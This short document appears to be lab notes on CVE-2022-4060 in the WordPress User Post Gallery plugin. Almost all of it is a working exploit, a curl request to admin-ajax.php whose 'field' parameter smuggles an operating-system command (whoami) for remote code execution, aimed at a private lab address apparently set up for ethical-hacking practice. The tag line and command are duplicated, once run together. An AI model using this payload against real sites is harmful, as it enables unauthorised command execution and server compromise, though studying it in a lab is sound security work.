tags wordpress Wordpress_Plug-in UPG_Plug_in
User Post Gallery (UPG)
CVE-2022-4060
Exploit
curl -i 'http://10.10.1.22:8080/CEH/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:whoami:NULL:NULL'tags wordpress Wordpress_Plug-in UPG_Plug_in
curl -i 'http://10.10.1.22:8080/CEH/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:whoami:NULL:NULL'